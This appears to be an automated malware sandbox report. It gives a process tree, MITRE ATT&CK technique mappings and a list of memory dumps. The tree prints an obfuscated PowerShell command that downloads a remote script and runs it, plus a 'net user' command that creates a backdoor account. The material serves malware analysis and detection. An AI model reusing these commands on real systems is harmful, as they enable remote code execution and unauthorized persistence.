cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3908
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3440

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3128
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1432-201-0x000001BDD74D8000-0x000001BDD74DA000-memory.dmp

Filesize
8KB

Download
memory/1432-193-0x000001BDD74D6000-0x000001BDD74D8000-memory.dmp

Filesize
8KB

Download
memory/1432-170-0x000001BDD74D3000-0x000001BDD74D5000-memory.dmp

Filesize
8KB

Download
memory/1432-169-0x000001BDD74D0000-0x000001BDD74D2000-memory.dmp

Filesize
8KB

Download
memory/2900-152-0x0000028960108000-0x0000028960109000-memory.dmp

Filesize
4KB

Download
memory/2900-151-0x0000028960C30000-0x0000028960C31000-memory.dmp

Filesize
4KB

Download
memory/2900-150-0x00000289608A0000-0x00000289608A1000-memory.dmp

Filesize
4KB

Download
memory/2900-145-0x0000028960106000-0x0000028960108000-memory.dmp

Filesize
8KB

Download
memory/2900-143-0x0000028947EF0000-0x0000028947EF1000-memory.dmp

Filesize
4KB

Download
memory/2900-134-0x0000028960100000-0x0000028960102000-memory.dmp

Filesize
8KB

Download
memory/2900-135-0x0000028960103000-0x0000028960105000-memory.dmp

Filesize
8KB

Download
memory/2900-128-0x0000028960310000-0x0000028960311000-memory.dmp

Filesize
4KB

Download
memory/2900-125-0x0000028947EC0000-0x0000028947EC1000-memory.dmp

Filesize
4KB

Download
memory/3440-245-0x000002E04B8D8000-0x000002E04B8D9000-memory.dmp

Filesize
4KB

Download
memory/3440-244-0x000002E04B8D6000-0x000002E04B8D8000-memory.dmp

Filesize
8KB

Download
memory/3440-243-0x000002E04B8D3000-0x000002E04B8D5000-memory.dmp

Filesize
8KB

Download
memory/3440-242-0x000002E04B8D0000-0x000002E04B8D2000-memory.dmp

Filesize
8KB

Download
memory/3612-203-0x000002CA23B10000-0x000002CA23B12000-memory.dmp

Filesize
8KB

Download
memory/3612-206-0x000002CA23B18000-0x000002CA23B1A000-memory.dmp

Filesize
8KB

Download
memory/3612-204-0x000002CA23B13000-0x000002CA23B15000-memory.dmp

Filesize
8KB

Download
memory/3612-202-0x000002CA23B16000-0x000002CA23B18000-memory.dmp

Filesize
8KB

Download
memory/3896-119-0x000001DCC40D6000-0x000001DCC40D7000-memory.dmp

Filesize
4KB

Download
memory/3896-114-0x000001DCC4510000-0x000001DCC4931000-memory.dmp

Filesize
4.1MB

Download
memory/3896-117-0x000001DCC40D3000-0x000001DCC40D5000-memory.dmp

Filesize
8KB

Download
memory/3896-116-0x000001DCC40D0000-0x000001DCC40D2000-memory.dmp

Filesize
8KB

Download
memory/3896-118-0x000001DCC40D5000-0x000001DCC40D6000-memory.dmp

Filesize
4KB

Download
memory/4072-208-0x0000014E528E3000-0x0000014E528E5000-memory.dmp

Filesize
8KB

Download
memory/4072-210-0x0000014E528E8000-0x0000014E528EA000-memory.dmp

Filesize
8KB

Download
memory/4072-207-0x0000014E528E0000-0x0000014E528E2000-memory.dmp

Filesize
8KB

Download
memory/4072-209-0x0000014E528E6000-0x0000014E528E8000-memory.dmp

Filesize
8KB

Download